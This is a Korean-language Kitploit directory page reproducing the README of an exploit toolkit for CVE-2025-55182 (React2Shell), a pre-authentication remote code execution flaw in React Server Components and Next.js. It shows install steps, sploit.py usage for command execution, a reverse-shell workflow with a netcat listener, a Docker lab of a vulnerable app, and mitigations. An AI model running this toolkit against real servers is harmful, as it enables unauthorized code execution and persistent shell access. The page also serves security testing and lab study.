Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — react2Shell Next.js RCE를 통해 검증, 악용 및 대화형 셸 획득을 위한 간단한 툴킷입니다. | Kitploit
도구/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

react2Shell Next.js RCE를 통해 검증, 악용 및 대화형 셸 획득을 위한 간단한 툴킷입니다.

저장소 보기
35개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182: React2Shell - Next.js 원격 코드 실행 툴킷

CVE-2025-55182 CVSS License

[!WARNING] 이 도구는 공인된 테스트 및 교육 목적으로만 제공됩니다. 승인되지 않은 네트워크 접근과 데이터 유출은 불법입니다. 사용자는 이 도구를 어떤 네트워크에서 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.

개요

이 저장소는 React2Shell이라고도 알려진 CVE-2025-55182를 통해 검증, 익스플로잇 및 대화형 셸 확보를 수행하는 간단한 툴킷을 포함합니다. 이는 React Server Components(RSC)의 치명적인 사전 인증 원격 코드 실행(RCE) 취약점으로, 19.0.0, 19.1.0, 19.1.1 및 19.2.0 버전에 영향을 미칩니다.

이 취약점은 React의 Flight 프로토콜에서의 안전하지 않은 역직렬화에서 비롯되며, 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 2025년 12월 3일에 공개되었으며 CVSS 점수는 10.0(치명적)입니다. 주로 React Server Components에 영향을 미치지만, RSC를 사용하는 Next.js와 같은 프레임워크에도 영향이 있습니다.

참고: 이 툴킷은 교육 및 연구 목적으로만 제공됩니다. 승인되지 않은 취약점 익스플로잇은 불법적이고 비윤리적입니다. 책임감 있게, 그리고 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하세요.

영향을 받는 구성 요소

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0 버전
  • 관련 프레임워크: Next.js(일부 상황에서는 CVE-2025-66478을 통해 잠재적 영향)
  • 익스플로잇 벡터: 인증 없이 RCE를 가능하게 하는 RSC 페이로드의 안전하지 않은 역직렬화.
  • 자세한 내용은 공식 권고를 참조하세요:

    • NVD CVE-2025-55182
    • React 보안 권고
    • React2Shell 관련 Wiz 블로그

    사용법


    기능

    • 검증(Validation): 대상이 CVE-2025-55182에 취약한지 확인합니다.
    • 익스플로잇(sploitation): 임의 명령을 실행하기 위한 페이로드를 제작합니다.
    • 대화형 셸(Interactive Shell): 지속적인 접근을 위한 리버스 셸을 확보합니다.
    • 최소한의 의존성으로 Python 3.x를 지원합니다.

    요구 사항

    • Python 3.8+
    • 필수 라이브러리: requests, argparse(pip install -r requirements.txt로 설치)

    설치

    Venv 설치

    1. 저장소를 클론합니다
    root@kitploit:~
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
    1. 가상 환경
    root@kitploit:~
    python3 -m venv CVE202555182Venv
    python3 -m pip install -r requirements.txt
    
    1. 활성화
    root@kitploit:~
    source CVE202555182Venv/bin/activate[.fish]
    

    로컬 설치

    1. 저장소를 클론합니다:
      root@kitploit:~
      git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
      cd CVE-2025-55182
      
    2. 의존성을 설치합니다:
      root@kitploit:~
      pip install -r requirements.txt
      

    사용법

    메인 스크립트는 sploit.py입니다. 다음 옵션과 함께 실행하세요:

    root@kitploit:~
    python sploit.py --help
    

    옵션

    • --target <URL>: 대상 URL(예: http://vulnerable-site.com).
    • --mode <validate|sploit|shell>: 작동 모드.
      • validate: 익스플로잇 없이 취약점을 확인합니다.
      • sploit: 사용자 지정 명령을 실행합니다.
      • shell: 대화형 리버스 셸을 설정합니다.
    • --command <CMD>: 실행할 명령(sploit 모드 필수).
    • --lhost <IP>: 리버스 셸용 로컬 호스트(shell 모드 필수).
    • --lport <PORT>: 리버스 셸용 로컬 포트(기본값: 4444).

    예시

    1. 취약점 검증:

      root@kitploit:~
      python sploit.py --target http://example.com --mode validate
      
    2. 명령 실행 익스플로잇:

      root@kitploit:~
      python sploit.py --target http://example.com --mode sploit --command "whoami"
      
    3. 대화형 셸 확보: 먼저 리스너를 설정하세요(예: nc -lvnp 4444), 그런 다음:

      root@kitploit:~
      python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
      

    작동 원리

    1. 취약점 탐지: 역직렬화 결함을 탐지하기 위해 특수하게 제작된 RSC 페이로드를 전송합니다.
    2. 페이로드 제작: React의 Flight 프로토콜을 통해 코드를 주입하기 위해 안전하지 않은 역직렬화를 사용합니다.
    3. 셸 접근: 공격자의 머신으로 다시 연결되는 페이로드를 실행하여 리버스 셸로 승격합니다.

    기술적 심층 분석은 다음을 참조하세요:

    • Datadog Security Labs 분석
    • Dynatrace 블로그

    실행 예시


    Docker 설치

    root@kitploit:~
    
    {
      "dependencies": {
        "next": "14.3.0-canary.77",
        "react": "19.0.0",
        "react-dom": "19.0.0"
      },
      "scripts": {
        "dev": "next dev",
        "build": "next build",
        "start": "next start"
      }
    }
    

    tsconfig.json을 완전히 삭제하세요(빌드를 막던 핵심 요소입니다)

    root@kitploit:~
    
    rm tsconfig.json
    

    최소 요구 App Router 파일 생성

    root@kitploit:~
    
    mkdir -p app
    
    # app/layout.tsx
    cat > app/layout.tsx << 'EOF'
    import "./globals.css";
    
    export default function RootLayout({
      children,
    }: {
      children: React.ReactNode;
    }) {
      return (
        <html lang="en">
          <body>{children}</body>
        </html>
      );
    }
    

    app/globals.css(사실상 비어 있어도 됨)

    root@kitploit:~
    echo "/* minimal css - required by Next.js */" > app/globals.css
    

    app/page.tsx(실제 취약 페이지가 들어가는 위치 – 예시 스텁)

    root@kitploit:~
    cat > app/page.tsx << 'EOF'
    export default function Home() {
      return (
        <main>
          <h1>react2shell lab is running!</h1>
          <p>Start sploiting → /api/vulnerable-endpoint</p>
        </main>
      );
    }
    

    최종 완벽한 Dockerfile 생성(정확한 내용)

    root@kitploit:~
    
    FROM node:20-alpine
    
    WORKDIR /app
    
    # Copy only package files first (better caching)
    COPY package*.json ./
    
    # Install dependencies with legacy peer deps (required for this old canary)
    RUN npm install --legacy-peer-deps
    
    # Copy the rest of the app
    COPY . .
    
    # Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
    RUN rm -f tsconfig.json
    
    # Build the Next.js app
    RUN npm run build
    
    # Expose port
    EXPOSE 3000
    
    # Start the app
    CMD ["npm", "start"]
    

    빌드 및 실행(이 명령들은 이제 완벽하게 작동합니다)

    root@kitploit:~
    
    docker build -t react2shell .
    docker run -d -p 3000:3000 --name react2shell react2shell
    

    브라우저에서 열기

    → http://localhost:3000 끝났습니다. 컨테이너는 2초 이내에 시작되며 프로토타입 오염 → RCE 체인을 실행할 준비가 됩니다.

    언제든지 삭제 후 재시작할 수 있는 원라이너(선택 사항): bash

    root@kitploit:~
    docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
    

    완화 조치

    • React를 19.2.1 이상 버전으로 업데이트하세요.
    • 필요하지 않다면 React Server Components를 비활성화하거나 제한하세요.
    • 국가 후원 공격자(예: China-nexus 그룹)가 이 CVE를 빠르게 악용하는 것이 관찰되었으므로 익스플로잇 시도를 모니터링하세요.

    위협 인텔리전스는 AWS 보안 블로그를 참조하세요.

    면책 조항

    이 도구는 보증 없이 "있는 그대로" 제공됩니다. 저자는 이 툴킷으로 인한 오용이나 손해에 대해 책임지지 않습니다. 취약점을 테스트하기 전에 항상 허가를 받으세요.

    기여

    Pull Request는 언제나 환영합니다! 큰 변경 사항이 있다면 먼저 이슈를 열어 주세요.

    라이선스

    이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

    참고 자료

    • Cisco 권고
    • Palo Alto Unit 42 보고서
    • CMU ISO 뉴스
    • Cloudflare 블로그
    • Huntress 블로그
    • JFrog 블로그
    • Elastic Security
    당신의 이미지 배지
    도구 다운로드